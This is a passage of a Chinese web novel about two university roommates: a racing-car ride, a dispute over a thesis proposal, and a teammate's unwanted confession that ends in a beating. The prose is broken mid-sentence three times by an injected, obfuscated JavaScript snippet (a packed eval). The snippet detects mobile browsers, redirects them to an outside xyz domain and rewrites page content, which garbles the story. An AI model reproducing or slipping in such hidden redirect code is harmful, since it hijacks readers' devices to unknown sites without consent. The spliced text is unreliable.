“行吧,”涂白犹犹豫豫道:“那陪你跑完,你就得回来看看开题报告。” 孟阙观没点头也没摇头。 孟阙观有一部分超跑被养护在赛场的车库里,服务人员开出其中一辆,车极为漂亮,地盘低,车身线条流畅且极具攻击力,两侧车门打开的样子像展翼的天使。 孟阙观拿过头盔给涂白戴上,涂白站在原地,感受到跑道上到凉风一阵阵往自己脸上吹,脑中掠过的是刚刚一辆辆不要命往前冲的车影。 “你开慢点啊。”涂白的脸肉被头盔挤压出来,撑着圆圆的眼睛眯成一道缝:“速度太快我受不了。” “好的。”孟阙观无有不应。 两人一起坐到车里,一进去,涂白就感受到这辆车和他以往坐过的车不一样,因为它实在是太挤太挤了,座椅也不能调节,涂白坐上去有些无所适从,但众目睽睽之下他硬是装着一脸无所谓,按照孟阙观的提示关上了车门,拉上了安全带。 车里的内饰很简单,仪表显示器就在方向盘上,而方向盘竟然还是可拆卸的,涂白看着孟阙观娴熟地调试方向盘的远近,显然对方肯定是开过赛车的,并且说不定还是个老手。 眼看着孟阙观的手指就要按下显示屏下面的启动键,涂白连忙侧身拽住了对方的手腕。 “一定要慢一点啊。”涂白的金鱼泡泡嘴抿着,声音也没了之前的轻硬气,带着恳求,他总觉得坐上车,事情就不由他控制了。 孟阙观也戴着头盔,只不过或许是因为轮廓的原因,倒是很适配,五官没有变形,只露着上半张脸,他看了眼被涂白紧紧拽着的手腕,对着涂白弯了弯眼睛,然后拍了下对方的手背,意思是让他安下心来。 涂白将信将疑地坐好,他目视前方,抓好扶手,深吸一口气,让自己平静下来。 伴随着发动机引擎的启动声,涂白的心开始往上提,车辆弹射似地冲进赛道,直线加速时有一种明显的推背感,但在涂白可以接受的范围内,于是他放松下来,然而涂白不知道,这一圈只是为了热胎准备,很快到来第二圈,速度飞快飙升。 涂白意识不对劲儿,他下意识盯着前方赛道上的刹车印看,竟然产生一种变焦的感觉,不仅是这样,全身血液伴随着引擎的嗡鸣和几次连续的大转弯,开始在血管里震动,往头上冲,身体还没有适应这种感觉,孟阙观又一个刹车加急转,涂白的身体重心又往反方向倾斜,瞬间灵魂出窍。 涂白不知道孟阙观到底跑了多少圈,每当他错觉下一秒车要冲出赛带的时候,孟阙观就会实时拉回来,因此后半段,涂白一直闭着眼睛,深刻演示了什么是身体在前跑,魂在后面追。 等到结束下车的时候,涂白竟然从副驾上出不来,原因是他的腿很软,好不容易撑着孟阙观从里面出来了,涂白还得坐在P房的椅子里缓一缓,他毛孔往外冒汗,脸烫红烫红的,别人和他说话,他都要反应好一阵。 “涂白,你没事吧?”孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462944|184300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阙观将一瓶水放在了涂白手边,用毛巾擦了擦头发,和涂白不同,孟阙观就像没事人一样,脸上平静柔和,一点也看不出刚刚结束一场心惊动魄的赛车跑。 涂白头有些晕,但意识很清醒,他一点也不想和孟阙观说一句话,打从第二圈开始他就知道,这货是绝对的是故意的,要不然速度怎么这么快? 孟阙观连连摆手澄清:“我开得已经很慢了,不信你问他们,我平常开得多快。” 旁边几个维修工程师道:“是啊,孟少技术很好,已经可以去干职业了,不过今天的速度确实不行,退步了。” “就是因为最近都来不来开了,所以退步了,好久都没见到人了。” “是啊,我记得之前,有他天半夜都跑来开,一台才提的迈凯伦被他开爆缸了,他把车丢地上,自己回家睡觉去了,哎呀....这么一想,以前好几台车都被他开爆缸了。” 孟阙观笑眯眯没有反驳。 白这才注意到,P房的一面玻璃柜上摆放着一些亮闪闪的奖杯,他摇摇晃晃站起来,走上去一看,都是各种F1赛事的比赛奖杯,有业余的也有职业的,1st的署名有一部分是其他人的,但大多数是孟阙观的。 涂白倒是没想到孟阙观这么厉害,小说里,孟阙观的形象一直是娇花类型,绿茶的不得了,别说剧烈运动了,连一只蚂蚁都舍不得踩死,哪知道现实里这货还挺追求刺激的,是自己改变剧情之后的蝴蝶效应吗?可是看起来,对方好像老早就这样了。 他有些意外,打量着孟阙观,此时孟阙观还在和一帮工程师们放松交谈,看着心情不错,一副平易近人、融入人群的样子。 察觉到有人看他,孟阙观转头,涂白索性放肆回看了过去。 【看什么看,开车厉害了不起啊!】 谁料到,孟阙观竟然撇下人,突然朝涂白走了过来,涂白吓了一跳,以为对方看出来自己在酸他。 “看什么呢?”孟阙观道。 “没事。”涂白心虚地清了清嗓子:“对了,我都陪你跑了这么好几圈了,现在头还晕着,你应该说话算话,帮忙看看开题报告了吧?” 孟阙观没有说话。 涂白警铃大作:“你什么意思啊?说话不算数啊?” 孟阙观一脸无辜:“说话不算数的难道不是你吗?说好要请我吃饭的,你还差我一顿饭呢。” “你还好意思说?”毕竟求人,涂白压抑住怒火,极力放缓语气:“我请了你两次,结果你两次都放我鸽子,让我等你好长时间,我都快给饿死了。” “抱歉,当时我是真的有事。”孟阙观的态度诚恳。 然而此时的孟阙观在涂白心目中信任感是0 ,同样觉得他张口闭口的道歉实在过于廉价,还不如超市打折的鸡蛋价值高。 “算了,你今天该没事了吧?我请你吃饭。” 孟阙观答应了,两人从赛场出来,涂白这一次打死也不坐副驾了,他坐在后座上,严格盯着仪表盘,超过八十就让孟阙观降速,车一路开过郊区市区,到了大学城的湘湘川菜馆。 吃饭的过程中,涂白晓之以情动之以理地向孟阙观解释自己项目的前景以及作为一名队员应该有的责任感,并且频频向孟阙观以茶代酒表达自己求贤若渴之情,服务周到得恨不得跑进后厨,按照孟阙观的喜好,亲自为他做一桌菜。 当然外面是一套,肚子里面是另一套,一边服务,心里面还要一边骂着,他现在眼睛还因为刚才的飙车发晕,看姜看成肉,吃错了好几次,要不是孟阙观,他会这么狼狈吗? “所以,我现在就把开题报告发给你,你看看?”茶足饭饱后,涂白借机提示道。 孟阙观答应了,说下周三发给他。 “可是下周三就截止了,你能不能看快点,这周五前给我。”涂白道。 【然后我这边就让杨宴飞他们准备实验,反正你们两人又见不上面,我踢不踢他的也不重要,到时候骗孟阙观就说自己已经把对方开除了,反正比赛结果最重要。】 涂白当面一套背后一套,对着孟阙观张口就许诺,比不负责任的渣男还渣男。 他一脸期待的望着孟阙观,本以为会对方会立刻答应,哪知道孟阙观迟迟没有说话,对方垂着眸子,嘴角的似笑非笑,像在思考有不像,总之短短几秒钟,涂白备受煎熬,他预感不太妙,不等涂白继续恳求, 就听见孟阙观皱着眉头,一脸为难道:“我下午要出国一趟,期间比较忙,应该没时间看这个,所以我可能帮不了你了,” 如同五雷轰顶,涂白没想到就差临门一脚了,结果还是踢到了门框上。 这什么理由,就抽半个小时时间看看不行吗?干什么事情连半个小时的时间都没有吗?涂白总觉得这只是对方敷衍自己的一个理由,刚刚明明都要松口答应了,怎么突然又不愿意了? 涂白舔了舔唇:“有什么要求你可以提啊,我一定答应你,你能不能就抽出点时间,看看呗。” 时间不等人,要是对方真的要出国,他总不能撵到飞机上去吧。 孟阙观直视涂白,他没有说话,眼神满是幽深的沉静,像没有尽头的孔洞,让人不敢对视,面容还保持着柔和平静,但气质发生了变化,带着隐隐的压迫力,一时间竟然让涂白觉得呼吸困难,好像自己说什么,对方都不可能再更改了。 “涂白,第二次了。”孟阙观道。 涂白竟然紧张地打磕巴:“什么、什么第二次了。” 他不知道,孟阙观指的是这是他第二次阳奉阴违地欺骗自己,要留下杨宴飞。 他什么都不知道。 涂白只觉得现在的氛围很诡异,孟阙观也很怪异,这种异常让他有点害怕,甚至说...想逃,他的后背不自觉贴在椅背上,手指抠着椅边,眼神不可自控的躲闪。 “涂白,看着我。”孟阙观道,声音沉郁。 涂白意识慌乱,再也没有了之前面对孟阙观时候的理直气壮、颐指气使,相反,就像之前还在主人怀里肆意放纵的小猫,如今一爪子惹怒了主人,被提溜起脆弱的后脖颈,只能喵喵地讨好求饶。 然而涂白这只像猫的小兔子,求饶方式却不太一样。 或许是刚刚才结束一场肾上腺素的刺激,再加上孟阙观的气息变化,他被吓到了,被拒绝了,被冷遇了,第一反应是红眼睛,他自己控制不住。 接着眼泪就要掉下来了,但这个时候,又没有他妹妹跳出来维护自己哥哥岌岌可危的尊严。 于是涂白自己下意识就要躲,然而下一秒就被不轻不重捏住了下巴,对方手指很冰,和他烫红的皮肤一接触,涂白先颤了一下,耳朵跟着一抖。 躲无可躲。 幽蓝的瞳孔锁定着涂白的泪眼,像是要将滴落的眼泪接到手里,须臾,怜悯一样地喟叹:“哭了....怎么这么可怜啊...” 18.恶心 涂白绝对不肯承认自己是被吓哭的,他极力睁大眼睛,想要发出震慑的眼神,让孟阙观不要小看了自己。 但是他被泪水浸泡的玻璃眼珠实在没有什么说服力,他张嘴要说话,但是一开口就带着哭腔,看到孟阙观露出更加同情可怜的表情,涂白更悲愤了。 “好了好了,不哭了。”直到欣赏完涂白的眼泪,孟阙观才抽过纸递给涂白,涂白粗鲁擦干,站起来就要离开。 他越想越觉得自己委屈,忙活了一天,结果早上被施意眠他们羞辱,中午了还要被孟阙观拒绝,酸涩涌进胃里,他怕自己再这样下去,又要哭出来,于是立刻站起来就要走。 但是却被孟阙观拉住了。 “不是要看开题报告吗?我看。” 此时的孟阙观好说话得不得了,一点也没有刚才气势压人的样子,一只手托着下巴,看着涂白,眉眼舒缓,一副餍足的表情,不知吃饱了什么。 “你、你不是说没时间吗?” 涂白的喉咙里灌着酸水,他一说话,声音就和小鱼吐泡泡一样。 孟阙观拉着涂白的手稍微加大了力气,涂白觉得手腕有点痛,不等他挣扎,就听见孟阙观道:“唉,那只好晚上不睡觉看了,好吗?” 要求得到满足,涂白的心情渐渐平复下来,他吸了吸鼻子,思索了几秒,然后嗫喏道:“那你要认真看,把能修改完善的地方都好好修改完善了。” 说完,估计是良心发现,于是又补充了一句:“当然了,也要注意休息。” 孟阙观点点头,他轻轻晃了晃涂白的手腕,问对方现在满意了吧? 涂白没有说话,不过他不再流泪的眼睛,又恢复了往日的润亮,那种劲劲的小嚣张又重新回来了,他挣扎着手腕,像抓不进怀里的兔子,孟阙观一松手,他立刻蹦跳着叼着胡萝卜头也不回的离开了。 孟阙观啧了声,有点后悔刚才答应的太快了。 * 经过孟阙观修改完善的开题报告,虽然再涂白看来好像没有什么大变化,无非是简洁了一些,引用更加贴合科技前沿了一些,但得分确实比自己写的要高五分左右,成功冲进了八十分的一等金预备役中。 涂白心里有点不服气,他觉得要是自己从小生在城市,拥有优秀的教育资源,那么眼界经历都能比同时期的在乡村成长的自己开阔不少,肯定比孟阙观知道的更多。 不过也没什么大不了了,他孟阙观家世再牛逼,还不是和自己上同一个大学专业,这么论下来,还是自己更厉害! 开题报告这一关就算过去了,接下来就要着手准备实验了,就像涂白之前计划的那样,为了隔开杨宴飞和孟阙观,他并没有让孟阙观加入实验组,不过实验开始后的没几天,孟阙观从外面回来了,重新住进了宿舍里,两人之前的冷战正式宣告结束。 “涂白,最近怎么不见孟同学啊?”说话的是杨宴飞,他一边填写溶液配制记录,一边问涂白。 “哦,他最近家里面有事,来不了了。”涂白敷衍。 “可是我昨天还在教室里见到他了。” 涂白一下子紧张起来,毕竟他没有把杨宴飞踢出队伍,他怕孟阙观知道:“你们俩说话了?” 杨宴飞摇了摇头:“没有,当时在上课。” 实际是,是他盯着对方的后背看了一整节课,下课了他走过去搭话,但孟阙观根本无视他,头戴着耳机,一眼都没瞥给他。 “哦,我奉劝你少理他,他脾气不好,小心他发起疯来打人。” 涂白掐了杨宴飞和孟阙观搭话的心思,以免自己阳奉阴违露馅。 “可是大家都说孟同学人很好的,怎么会打人?!你不会是胡说的吧,你知道些什么吗?”杨宴飞对孟阙观的事情格外感兴趣,他凑过去问,眼睛里闪烁着黑亮的光, 涂白又嗅到了对方身上淡淡的汗味,皱着眉退后几步:“爱信不信。” 我去,孟阙观是什么基佬大杀器吗?怎么这么多人喜欢他,帅的就算了,怎么长得一般的也喜欢他? 中午的工作结束,涂白从实验室里出来,收到孟阙观的信息,问自己要去哪里吃饭,涂白回了个食堂,那边紧接着就说他也去。 考虑到孟阙观还是人形注目礼器,涂白没有去南苑大食堂吃饭,而是专门去来了人少、味道不咋地、绕路不便的小食堂吃饭。 但他万万没有想到,在这里都能遇到杨宴飞。 “队长,你们也在这里吃饭吗?方便和你们坐一桌吗?”杨宴飞挤过来。 这一句队长就暴露了他目前还在队里的事实,涂白登时头大:“去去去,你坐那边去。” 然而杨宴飞比牛皮糖还牛皮糖:“我们都是一个队的,当然要坐一起讨论比赛了。” 涂白忍无可忍,他小心翼翼打量孟阙观,对方姿态优雅地夹着面前的菜,脸上没有任何不满,当着杨宴飞的面,涂白也不好立刻哄他,只好死命瞪着杨宴飞。 “坐吧。”先答应的竟然是孟阙观。 一听这话,杨宴飞连声哎着,不等涂白说话,就一屁股坐在了涂白的旁边。 “吃饭。”孟阙观淡然道,然后给涂白夹了一只虾饺,涂白恶狠狠地咬了一口,不想再看一边满脸通红结结巴巴的杨宴飞。 “看来,孟同学和队长的关系很好啊,真羡慕啊。”杨宴飞道。 桌子上没人理他。 然而他没觉得尴尬,竟然直接向孟阙观发起邀请:“孟同学,不知道你这周有没有时间,我想请你一起去吃饭,也没什么别的意思,就像向你请教一下STS比赛的经历。” 涂白一听,火就来了,自己还在这里坐着呢,就明目张胆地挖自己的人,还请教,以为自己不知道他什么心思吗?! 然而不等他开口阻止,孟阙观说话了:“不用了,我只吃涂白一个人请的饭。” 杨宴飞终于感到尴尬了,他挠了挠头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466132|184300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这样啊,是我太莽撞来了,哈哈。” 他的视线在面前两人间来回流转,孟阙观正旁若无人给涂白空了的杯子里倒水,涂白喝了一口,被烫得吐了吐舌头,他埋怨似地看了孟阙观一眼,孟阙观眼神抱歉。 两人之间的来往自然而密切,杨宴飞看着这一切,很快,心里升起一个计划。 吃完饭,涂白以为杨宴飞会和他们一起回宿舍,然而并没有,杨宴飞非常尽职尽责,说自己想回去继续把实验做完,队员们这么爱工作,涂白自然也没什么可说了,就让他去了,自己则和孟阙观一起回到了宿舍。 中午天气热得不行,一路走回宿舍,涂白嗅了嗅自己身上,总觉得和杨宴飞待得时间长了,身上也有他的那股汗酸味,于是冲了个澡。 从浴室出来的时候,孟阙观正坐在沙发上看书,听见他的动静,放下书,面无表情看着涂白。 涂白深吸一口气,坐在他对面从实招来:“好吧,我目前是没有把杨宴飞踢出去,因为他现在还有用,免费的劳动力多一个是一个,咱们项目的进度能快很多,再说了,你也不去实验室,今天你们两个遇见纯属意外,我发誓,以后绝对不让你看见他。” 涂白到现在为止都不知道孟阙观没什么不喜欢杨宴飞,虽然自己对杨宴飞的观感也一般,于是他问到:“不是,你到底讨厌他那里啊?是因为,他对你....有意思?” 闻言,孟阙观突然笑了,红痣幽亮,眼睛弯着,看不清情绪,让人后背发凉。 “笑、笑什么?” 涂白浑身不自在,看孟阙观像看野兽,总觉得自己刚刚好像不小心拔了他一根毛。 “没什么,涂白,我觉得你可能会意错了。”孟阙观道:“我觉得他对我可没意思。” 不等涂白疑惑,孟阙观啪的一下合上书,上半身微微前倾,露出起伏优越的脊背线条,如同匍匐在草丛里准备扑向猎物的豹,仔细观察着猎物的动态。 然后缓缓放出诱饵:“他感兴趣的是你。” ....... “不可能,绝对不可能!” 三秒钟后,涂白像是被蛇咬住了七寸:“他喜欢的明明是你!”涂白脸都白了,估计还有些恶心,露出想吐又吐不出来的表情, 果真,猎物被吓到了,反应巨大,腿都哆嗦了,孟阙观看在眼里,报复心得到了满足,异常愉悦,手指在膝盖上跳舞。 “是真的。”看着涂白的脸白里泛青,还嫌不够,语气如箴言:”不信你等着,过不了一周,他就会向你告白。” 这简直比淋头泼屎还要恐怖恶心,涂白当然一百万个不相信:“你怎么知道,他告诉你了?我才不信,你别胡说了!” 孟阙观点头,露出惊讶的表情:“你怎么知道?”他歪头,食指点了点太阳穴,慢条斯理道:“他这里告诉我了。” ...... 涂白看孟阙观感觉对方才是脑子有问题。 19.告白 涂白完全不相信孟阙观说的胡话,还是该干什么干什么,早上七点半准时出现在实验室,晚上最后一个熄灯离开,至于杨宴飞,同样也是该怎么相处怎么相处。 但很快,涂白开始觉得不对劲儿了。 “谢谢你,但是我已经吃过了。” 早上八点,杨宴飞来到实验室,手里提着一袋专供涂白的爱心早餐,是食堂的猪肉大葱小笼包,递到涂白手里的时候包子已经凉了一半,油腻腻的结成团。 然而像这样的早餐,杨宴飞已经给涂白连续带了一周了,均价不超过三元,他自认为家里是做生意的,虽然有点小钱,但一定要节约,能省则省。 “为什么?是不喜欢吗?那你告诉我,你喜欢吃什么,我明天给你带。” 杨宴飞一说话,嘴巴里一股猪肉大葱的味道,显然相比于涂白他更喜欢今天的早餐。 涂白觉得非常不妙,杨宴飞就像突然转了性一样,这几天也不继续问孟阙观的情况了,倒是开始缠着自己,各种献殷勤。 如果是以前涂白或许还会夸赞对方有眼色,能为领导马首是瞻,但是现在,他总是有意无意把杨宴飞的行为和那天孟阙观的胡言乱语联系在一起,越看越觉得不对劲儿,疯狂拒绝。 小说里,自己是一个给主角攻受使绊子的炮灰反派,至于杨宴飞更是路人的不能再路人,人物之间到底有什么联系、发生过什么事情,这种十八禁的小说里当然不可能会着墨,一时之间,涂白摸瞎,完全不知道该怎么办。 “我喜欢堂食,不喜欢外卖,真的不用了,心思还是用在实验上吧。” 涂白说起谎来不打草稿,手动删除昨天晚上和孟阙观窝在宿舍里吃烤串看电影的情景。 杨宴飞有些可惜地点了点头,自己转身将包子吃完了。 后面的几天杨宴飞没有再给涂白送早餐,就在涂白以为这件事情过去了的时候,更恐怖的来了。 杨宴飞开始频繁和自己交流接触,并且时不时就发信息骚扰自己,邀请自己一起吃饭、一起上图书馆、一起参加社团活动。 涂白有意无意提了句要不要叫上孟阙观,然而杨宴飞竟然回复他说还是不要打扰孟阙观了,不仅仅如此,就连实验室里的其他同伴也都问他什么时候和杨宴飞关系这么好了? 涂白大惊失色、菊花一紧,晚上翻来覆去睡不着,白天为了躲杨宴飞,就连实验室都去的少了。 “今天怎么不去实验室了?实验进度赶上来了?”宿舍里,孟阙观一早游泳回来,看见还坐在床上痴愣的涂白。 涂白不说话,孟阙观大手在眼前划了划,涂白的视线才幽幽落在他身上:“我、我今天不太舒服。” 孟阙观拉开冰箱,打开一瓶电解质水,他喝水时喉结有规律地滚动着,线条利落明显,连着石膏白下的筋脉隐动,像山中源源不断的河流。 涂白看着,下意识摸摸自己的脖子,全是软肉,血管也是软的,好像一抓就破。 他自认不比孟阙观差,但也不得不承认对方确实身材条件比自己强那么一丢丢,他们俩完全就是不同的类型,所以,杨宴飞怎么就突然转性,黏上自己了呢? 涂白百思不得其解。 【孟阙观明显男生会喜欢的那一款,而自己妥妥的九亿少女的梦啊!】 “咳....”孟阙观一口水呛忽然在喉咙里,狼狈地咳了好几下才缓过来,转头就看见涂白还披着被子窝在床上,小眼神里满是绝望。 孟阙观将一瓶未开封的水递过去,冰凉的瓶壁贴着涂白的脸颊:“发生什么事了?” 涂白被凉得抖了一下,他默默接过水,思索了一下道:“我问你一个问题啊,如果一个人突然经常给对方带早饭,并且经常问候对方,很殷勤地每天打卡报道的,你认为这个人是出于什么心理要这样做?” 孟阙观坐在电竞椅上,椅子朝着涂白的方向,指尖轻轻点着扶手,似乎是在思索。 涂白看着对方沉默不语的表情,开始紧张,他必须承认,在这些方面,孟阙观的经验要比自己丰富很多。 “那个人是有求于对方吗?”孟阙观提问。 涂白摇摇头,他之前也怀疑是自己拥有的队长权力吸引着杨宴飞,或许杨宴飞也想走学术鸭子的路子,让自己在论文的署名中把他放在前面。 而他向杨宴飞求证时,对方断然否认,并且还很难过,觉得自己误会了他,两个挤着眼泪泡的黑豆眼看得涂白不忍直视。 “不是的。” 涂白确定,如果真是因为署名的原因,他干嘛不一进队伍就讨好自己,要知道,之前有几次,因为孟阙观没来实验室,杨宴飞还早退了,估计是要去堵孟阙观,涂白生气,还把他训了一顿,杨宴飞好像也并不是很在乎。 孟阙观垂眸片刻,继而抬眼看着涂白,耸了耸肩,下了结论:“那只有一种可能了,就是那个人喜欢被殷勤的对象。” 有一瞬间,涂白想闷死自己,他生无可恋地哼笑一声,整个人缓缓向床后倒去,手机还在震动,不用看就知道,是杨宴飞发来的骚扰短信,涂白烦不胜烦地关机,后悔没有听孟阙观的把这么一号人加了进来。 孟阙观的风凉话在耳边响起:“恭喜,看来有情人要终成眷属了。” 涂白被恶心得够呛,爬起来狠狠瞪了一眼笑眯眯的孟阙观,又想起杨宴飞浑身汗淋淋黑黢黢的样子,胃里应激似的不舒服,冲到厕所里干呕几声。 而在卧室外的孟阙观,则淡定地打开游戏,带上耳机,一局过去,他以32杀拿下敌人所有人头,伴随着屏幕里血淋淋的胜利标志,荣获了本场最佳MVP。 * 一连几天,涂白都躲着杨宴飞,不去实验室,然而进度摆在那里,再加上队员们的询问,涂白不得不放下自己的贞操顾虑,回到了实验室。 一踏进实验室,涂白就敏锐捕捉到了杨宴飞苍蝇看见鸡蛋的眼神,他装作没看见,开完组会后,重新安排了任务,将杨宴飞手里的一大部分活划分回自己手里。 杨宴飞感动不已,趁着其他人忙碌时,挤到涂白身边:“队长是担心我工作任务太重了吗?其实我可以的。” 涂白正在准备样品,他嘴上没说话,内心则在冷笑,懂不懂得什么叫架空,我这是准备把你踢出去! 见涂白不吭声,以为对方在害羞的杨宴飞开始心猿意马,一开始,他是对孟阙观有了心思,毕竟一张脸确实动人,但是对方的家族势力摆在那里,人也比传闻中冷一些,并不好接近,因此他在食堂和涂白、孟阙观一起吃饭时,就决定利用涂白来接近孟阙观。 要是自己先成了涂白的男朋友,不是就有更多机会见到孟阙观了,时不时去他们宿舍,一起吃饭,不是再正常不过的事情? 而涂白这个人早在他被邀请加入赛队的时候,杨宴飞就向周围的舍友打听过。 农村来的,看着装但根本没什么钱,相比于生活在经商家庭的自己经济情况要差一大截,杨宴飞默认要拿捏对方,轻而易举,但没想到这几天总是在碰壁,就在他快没耐心的时候,涂白竟然亲自减轻了自己的实验负担。 哼,小家子气的人就是容易上钩。 杨宴飞当下就决定,迅速推进计划,今晚就向涂白告白,他相信对方一定不会拒绝! 涂白照例是实验室里最后一个离开的,检查关闭了实验设备后,看了一眼时间,已经晚上十点了。 微信里有一条来自孟阙观的信息,问他要不要吃宵夜,自己点了砂锅粥和海鲜,涂白摸了摸自己的肚子,婉拒,对对方吃不胖还保持八块腹肌的身材强烈妒忌。 涂白准备关灯锁门,谁知刚走到门口,杨宴飞突然回来了,对方穿着一件不太合身的秋季大衣,大衣里面鼓鼓囊囊。 “是什么东西忘了吗?” 涂白往后退了几步,和对方拉开距离,他发现杨宴飞的眼神很奇怪,一直黏着自己,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470970|184300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他非常不舒服。 “不是,我没有忘东西。” 杨宴飞一点点走近涂白,脸上满是自以为的深情,这不是他第一次向别人告白,可不知道为什么,看着站在灯下的涂白,他的心跳很快,竟然比之前几次都要紧张。 涂白的心跳也很快,胃往上顶的,并且正在反酸,不知道为什么,他看今天的杨宴飞,尤其恶心,下意识的,他想起不久前,孟阙观说的话。 ——等着吧,他很快就会向你告白了。 涂白几乎快要呕出来了,不会吧,不会吧,不会吧..... “涂白,其实我一直有一句话想要告诉你。”杨宴飞措辞着,伴随他的逼近,身上永远洗不掉的汗味蔓延到涂白鼻端。 “其实早在咱们相处的这一个月里,我就喜欢上了你,你人....不错,脾气....也还可以...希望以后能更温柔一些..总之,我确实喜欢上了你,请答应我,和我在一起吧!” 说着,大衣被掀开,对方迅速从里面抽出一把不知道从哪个天桥小摊上买的干巴玫瑰,挤到涂白眼前,花瓣还掉了一半,抠得不能再抠。 看着面前的一切,涂白脸都青了,他不断压着嗓子,不为别的,就是为了压住胃里的上涌,他一个直男,竟然真的被一个男的告白了!!! 齐天大耻! 然而另一头,不知道涂白心理活动的杨宴飞紧紧看着涂白,眼神一错不错,他忽然发现,其实涂白长得也不错,脸小小一张,皮肤很白,还有点淡淡的粉色,身上穿着白色制服,头发柔软清爽、走路永远板板正正,和其他男生很不一样。 看着特别干净、特别纯.... 这么想着,杨宴飞吞了吞口水,呼吸有些重,不等到涂白缓过劲儿来,他竟然猛地扑过来,好在涂白反应快躲过去了。 这下是再也忍不住了,被不断挑衅恶心的神经,直接绷一声断了,涂白一脚飞踢过去,直接把比他高壮的杨宴飞踹了三四米远,踉踉跄跄倒在地上,不等对方爬起来,涂白又冲过对着对方的肚子脸重拳出击,几拳下去,杨宴飞那张大脸就青青紫紫,只剩下喘息的力气。 “涂、涂白你....” “呕....你什么你....呕....我告诉你,老子是直男,再敢打老子的主意,我废了你的腿!呕....你被开除了!” 涂白一边干呕一边大骂,骂爽了之后,直接踩着杨宴飞的手,听着对方的吃痛声大摇大摆走了出去。 夏日校园的夜晚很热闹,学生们出来纳凉散步,涂白也不怕杨宴飞追出来,他买了瓶水,一路漱口,一路回到了宿舍,进门的时候,孟阙观正在拆外卖包装。 “回来了。”孟阙观道。 涂白没有说话,径直走到卫生间,冲了一把脸,出来的时候,孟阙观站在卫生间门口,涂白以为对方要用,侧身让了让,谁知道孟阙观没动。 他打量着涂白的表情,挑了挑眉:“杨宴飞给你告白了?” 涂白沾着水的眼皮掀起,冷冷看着孟阙观:“关你屁事。” 孟阙观嘴角勾了勾,往日的体贴意味少了,带着点玩世不恭:“这次,相信我说的话是真的了吧? 涂白受不了对方看好戏的样子,又想起刚刚实验室里的恶心场景,他压抑不住怒火,低吼道:“但是你没说,杨宴飞还会摸人手!” 就在对方扑过来,涂白躲闪的时候,他清楚地感受到自己手腕被碰了一下,恶心得要死,涂白使劲蹭着自己手,皮肤红了一片。 “别挡路!”涂白发泄完,推开面前黑压压的山就要走,然而对方一动不动。 涂白不耐抬头,却发现不知道什么时候,孟阙观的表情变了。 刚刚嘴角的笑没了,也不玩世不恭了,眉眼低压,瞳孔里涨满沉郁的海水,凉凉的眼皮正半垂着,盯着自己搓红的手腕。 “他碰你了?”声音明明很轻,涂白却觉得有千斤那么沉。